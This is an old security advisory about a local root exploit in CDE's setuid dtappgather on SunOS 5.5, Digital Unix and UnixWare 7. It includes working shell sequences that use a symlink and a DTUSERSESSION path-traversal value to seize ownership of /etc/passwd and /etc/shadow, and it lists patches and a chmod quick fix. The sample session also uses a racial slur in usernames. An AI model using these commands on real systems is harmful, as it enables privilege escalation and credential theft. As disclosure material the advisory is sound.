COMMAND
/usr/dt/bin/dtappgather
SYSTEMS AFFECTED
SunOS 5.5 & 5.5.1 running CDE version 1.0.2, DU 4.0X, Unixware7
PROBLEM
Mastoras found following. Local users can change the ownership of
any file, thus gaining root priviledges. This happens because
"dtappgather" does not check if the file:
/var/dt/appconfig/appmanager/generic-display-0
is a symbolic link and happily chown()s it to the user. When CERT
released advisory CA-98.02 (see CDE in 'mUNIXes' section) about
/usr/dt/bin/dtappgather, Mastoras played a little with dtappgather
and discovered the problem above, but he thought that patch
104498-02 corrects it, as described in SUN's section of 98.02.
After applying the patch, it was still possible to gain root
privs. Following exploit was initially posted to hack.gr's
security mailing list: "haxor".
nigg0r@host% ls -l /etc/passwd
-r--r--r-- 1 root other 1585 Dec 17 22:26 /etc/passwd
nigg0r@host% ln -s /etc/passwd /var/dt/appconfig/appmanager/generic-display-0
nigg0r@host% dtappgather
MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File exists
nigg0r@host% ls -l /etc/passwd
-r-xr-xr-x 1 nigg0r niggers 1585 Dec 17 22:26 /etc/passwd
nigg0r@host% echo "nigg0r wins! Fatality!" | mail root
It would be easy to find the exploit if you had read CERT's
advisory. The following steps were enough..
% cp /usr/dt/bin/dtappgather . [you can't "truss" suid proggies]
% truss -o koko ./dtappgather
% more koko
[ shity ld things ]
chown("/var/dt/appconfig/appmanager/generic-display-0", 666, 666) = 0
chmod("/var/dt/appconfig/appmanager/generic-display-0", 0555) = 0
[ shitty things ]
J.A. Gutierrez added how the exploit is much simpler than that.
Simply:
$ id
uid=6969(foo) gid=666(bar)
$ ls -l /etc/shadow
-r-------- 1 root sys 234 Nov 7 1999 /etc/shadow
$ env DTUSERSESSION=../../../../../../../etc/shadow dtappgather
$ ls -l /etc/shadow
-r-xr-xr-x 1 foo bar 234 Nov 7 1999 /etc/shadow
However, first exploit works (at least, on solaris 2.5), even
after patching CDE according to CERT advisory. UnixWare 7's
dtappgather even today runs with superuser privileges, but
improperly check $DTUSERSESSION to ensure that the file is
readable/writeable or owned by the user running it.
For those of you using Digital Unix, here's info about them. The
patch in 4.0D patch kit 2 fixes the part of the bug that changes
the ownership of any file to the user running dtappgather, but it
does *NOT* fix the part that changes the protection on the file.
For example, if you try it using /etc/passwd as the target, the
owner will stay the same but the protection will change from 644
to 555. This is still a problem, in that you can get read access
to any file on the system. Same goes for patch kit 8 for 4.0B as
it behaves the same as the patched 4.0D dtappgather.
SOLUTION
SunOS 5.6 (or CDE 1.2) comes with directory
/var/dt/appconfig/appmanager/ mode 755 so it's not possible to
make the necessary link. On the other hand, in SunOS 5.5* this
dir has mode 777, so you can easily make the link or even
unlink/rename the file "generic-display-0" if exists owned by
another user. Quick Fix:
chmod -s /usr/dt/bin/dtappgather
This is fixed in Solaris 2.7 as well as with the following
Solaris 2.x patches:
CDE Version Patch ID
___________ _________
1.2 106112-03
105837-02
1.2_x86 106113-03
105838-02
1.0.2 104661-07
104498-05
103882-09
1.0.2_x86 104663-08
104500-05
103886-08
1.0.1 104660-04
104497-05
103884-07
1.0.1_x86 104662-05
104499-05
103885-07
For /var/dt permissions, you need:
103882-08: CDE 1.0.2: dtlogin patch for login authentication issues
103884-06: CDE 1.0.1: dtlogin patch
103885-06: CDE 1.0.1_x86: dtlogin patch
103886-07: CDE 1.0.2_x86: dtlogin patch for login authentication issues
This was fixed in 2.6, but you still need to apply the following
for other problems:
105703-07: CDE 1.2: dtlogin patch
105704-07: CDE 1.2_x86: dtlogin patch
The problem is patched with both the dtappgather and dtlogin
patches to Solaris 2.5.1/2.6. You need to apply both and restart
dtlogin.
Admins havin DU turn off the suid bit on dtappgather until you can
a fix from Digital.
Because SCO doesn't release source for UnixWare, we must wait for
them to provide one. Basicly, same as DU.